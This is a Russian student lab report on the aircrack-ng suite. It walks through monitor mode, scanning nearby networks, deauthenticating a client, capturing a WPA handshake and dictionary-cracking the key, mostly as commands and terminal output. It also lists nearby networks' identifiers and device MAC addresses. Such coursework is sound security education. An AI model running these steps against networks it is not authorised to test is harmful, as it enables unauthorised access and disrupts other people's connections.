Лабораторная работа №6.
SSL/TLC

Кенть Никита

29 мая 2016 г.

Оглавление

1 Цель работы

Изучить основные возможности пакета AirCrack и принципы взлома WPA/WPA2 PSK и WEP.

2 Изучение пакета Aircrack

2.1 Описание основных утилит пакета Aircrack

- Airodump-ng - утилита, предназначенная для захвата сырых пакетов протокола 802.11 и особенно подходящая для сбора WEP IVов (Векторов Инициализации) с последущим их использованием в aircrack-ng.
- Aireplay-ng - Основная функция утилиты заключается в генерации трафика для последующего использования в aircrack-ng для взлома WEP и WPA-PSK ключей.
- Aircrack-ng - утилита для взлома 802.11 WEP and WPA/WPA2-PSK ключей.

2.2 Запуск режима мониторинга на бестроводном интерфейсе

```
ubuntu@ubuntu:~/aircrack-ng-1.2-beta3$ sudo airmon-ng start wlan0
Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID     Name
1167    avahi-daemon
1168    avahi-daemon
1873    NetworkManager
2083    wpa_supplicant
10693   dhclient
Process with PID 10693 (dhclient) is running on interface wlan0

Interface       Chipset         Driver

mon0            Atheros AR9285  ath9k - [phy0]
wlan0           Atheros AR9285  ath9k - [phy0]
                                (monitor mode enabled on mon1)
```

2.3 Запустить утилиту airodump и изучить форматы вывода этой утилиты

airodump-ng <options> <interface>[,<interface>,...]

Опции: –ivs : Сохранять только отловленные IVы. Короткая форма -i. –gpsd : Использовать GPS. Короткая форма -g. –write <prefix> : Перфикс файла дампа. Короткая форма -w. –beacons : Записывать все маяки в файл дампа. Короткая форма -e. –netmask <netmask> : Фильтровать точки по маске. Короткая форма -m. –bssid <bssid> : Фильтровать точки по BSSID. Короткая форма -d. –encrypt <suite> : Фильтровать точки по типу шифрования. Короткая форма -t -a : Фильтровать неасоциированых клиентов

3 Практическое задание

Запустим режим мониторинга на беспроводном интерфейсе

```
      ubuntu@ubuntu:~/aircrack-ng-1.2-beta3$ sudo airodump-ng mon0
CH 13 ][ Elapsed: 24 s ][ 2016-05-29 20:57
```

BSSID	PWR	Beacons	#Data,	#/s	CH	MB	ENC	CIPHER	AUTH	ESSID
58:3F:54:B6:55:A0	-45	76	2	0	4	54e.	WPA	TKIP	PSK	L90_5004
00:1E:58:20:61:DC	-59	39	13	0	1	54e	WPA2	CCMP	PSK	542-122
3A:B1:DB:83:49:FC	-69	17	0	0	1	54e.	WPA2	CCMP	PSK	DIRECT-CG-BRAVIA
4A:E2:44:67:2D:9B	-71	16	0	0	11	54e.	WPA2	CCMP	PSK	DIRECT-Er-BRAVIA
00:11:6B:1B:67:F8	-74	44	60	0	11	54	WPA	TKIP	PSK	13
84:A4:23:EF:87:79	-77	17	24	0	1	54e	WPA2	CCMP	PSK	Rostelecom_8778
9C:37:F4:76:6A:90	-76	24	0	0	11	54e	WPA2	CCMP	PSK	HUAWEI-qCD4
D4:6A:A8:0F:72:CE	-78	20	0	0	6	54e.	WPA2	CCMP	PSK	HG8245vav
D4:F9:A1:D4:69:2C	-82	20	0	0	9	54e	WPA2	CCMP	PSK	127
9C:37:F4:77:35:5C	-83	23	0	0	8	54e	WPA2	CCMP	PSK	HUAWEI-9f4T

```
7C:A2:3E:2F:A7:DC  -84   10   0   0  11  54e  WPA2 CCMP   PSK  HUAWEI-Kjjd
10:7B:EF:5A:63:70  -83    3   0   0   3  54e  WPA2 CCMP   PSK  WAAAAAGH!!!
B0:C5:59:0E:B8:2D  -84   17   0   0   6  54e. WPA2 CCMP   PSK  AndroidAP
88:A2:D7:F6:46:94  -84   21   6   0  13  54e  WPA2 CCMP   PSK  HUAWEI-PdNu
AC:9E:17:7D:A1:C0  -86    0   0   0   6  54e  WPA2 CCMP   PSK  ASUSVV
1C:B7:2C:ED:17:28  -86    6   0   0  12  54e  WPA2 CCMP   PSK  Shiva

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

(not associated)   8C:99:E6:6C:59:BB  -74    0 - 1     26        24  RTK25,portal
(not associated)   38:2D:E8:D1:1E:23  -79    0 - 1      0         1
(not associated)   44:6D:6C:4A:95:2E  -80    0 - 1      0         1  HUAWEI-3UR4
(not associated)   48:E2:44:67:2D:9B  -81    0 - 1      0         4  HK_OnyxD937B2
(not associated)   EC:59:E7:47:B1:BC  -82    0 - 1     14         2
(not associated)   74:2F:68:99:FF:CD  -87    0 - 1      0         1  HUAWEI-PdNu
(not associated)   08:ED:B9:AB:C8:E5  -92    0 - 1      0         1
00:1E:58:20:61:DC  38:B1:DB:83:49:FC   -1   0e- 0      0        12
00:1E:58:20:61:DC  98:FE:94:89:AC:AC  -67   0e- 1     40        11  542-122
00:11:6B:1B:67:F8  24:E3:14:4C:B3:0E  -77    1 - 1      0        64
84:A4:23:EF:87:79  E0:19:1D:45:12:77   -1   5e- 0      0        24
10:7B:EF:5A:63:70  C4:85:08:3C:97:59  -74    0 - 6e     0         3
```

Интересующая нас сеть:

```
58:3F:54:B6:55:A0  -45   76   2   0   4  54e. WPA  TKIP   PSK  L90_5004
```

Запустим сбор трафика для получения аутентификационных сообщений:

```
ubuntu@ubuntu:~/aircrack-ng-1.2-beta3$ sudo airodump-ng mon0 --write airdump --bs
-c 4
 CH  4 ][ Elapsed: 20 s ][ 2016-05-29 20:58 ][ WPA handshake: 58:3F:54:B6:5

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

58:3F:54:B6:55:A0  -26 100      231       46    0   4  54e. WPA  TKIP   PSK  L90_5004
BSSID              STATION            PWR   Rate    Lost    Frames  Probe
58:3F:54:B6:55:A0  98:FE:94:89:AC:AC  -65    2e- 1e     0        27
```

К сети подключен один клиент с MAC-адресом 98:FE:94:89:AC:AC, проведем его деаутентификацию.

```
ubuntu@ubuntu:~/aircrack-ng-1.2-beta3$ sudo aireplay-ng -0 1 -a 58:3F:54:B6:55:A0 -c 98:FE:
20:59:36  Waiting for beacon frame (BSSID: 58:3F:54:B6:55:A0) on channel 4
20:59:36  Sending 64 directed DeAuth. STMAC: [98:FE:94:89:AC:AC] [ 0|64 ACKs]
```

Произведем взлом используя словарь паролей. Для того, что бы взлом происходил быстрее, создадим свой словарь паролей (dict.dic).

```
ubuntu@ubuntu:~/aircrack-ng-1.2-beta3$ sudo aircrack-ng dump*.cap -w pass -b 58:3F:54:B6:55
Opening dump-01.cap
Reading packets, please wait...


                                Aircrack-ng 1.2 beta3


                        [00:00:00] 1 keys tested (315.33 k/s)


                                KEY FOUND! [ ver good password ]


        Master Key     : 56 D8 A7 2E 27 04 0B AB C8 06 86 04 87 5D 95 5C
                         29 E0 93 45 20 9D E1 B4 07 31 0C 69 C8 8F F7 B8

        Transient Key  : BC 69 C7 F0 D4 50 C6 14 6C 6E 66 C5 53 C2 D1 8E
                         6D DC 47 FA 69 9C E2 06 70 FC AB F1 CC 37 13 CE
                         1A 56 8C FA 83 5B 7B 9F F6 83 20 D8 99 7E 9D 3E
```

31 0C AD 68 16 7C 8E 57 6B 1E 4C 18 08 FC 1E B3

EAPOL HMAC : AC 2F A8 BA A4 28 EA F9 C9 EA 58 07 B4 2C D9 D7

В результате видим подобранный пароль

4 Выводы

Aircrack-ng — набор программ, предназначенных для обнаружения беспроводных сетей, перехвата передаваемого через беспроводные сети трафика, аудита WEP и WPA/WPA2-PSK ключей шифрования (проверка стойкости), в том числе пентеста (Penetration test) беспроводных сетей (подверженность атакам на оборудование и атакам на алгоритмы шифрования). Программа работает с любыми беспроводными сетевыми адаптерами, драйвер которых поддерживает режим мониторинга (список можно найти на сайте программы). Исходя из результатов работы, можно сделать вывод, что стоит подбирать пароль с умом, иначе могут возникнуть проблемы.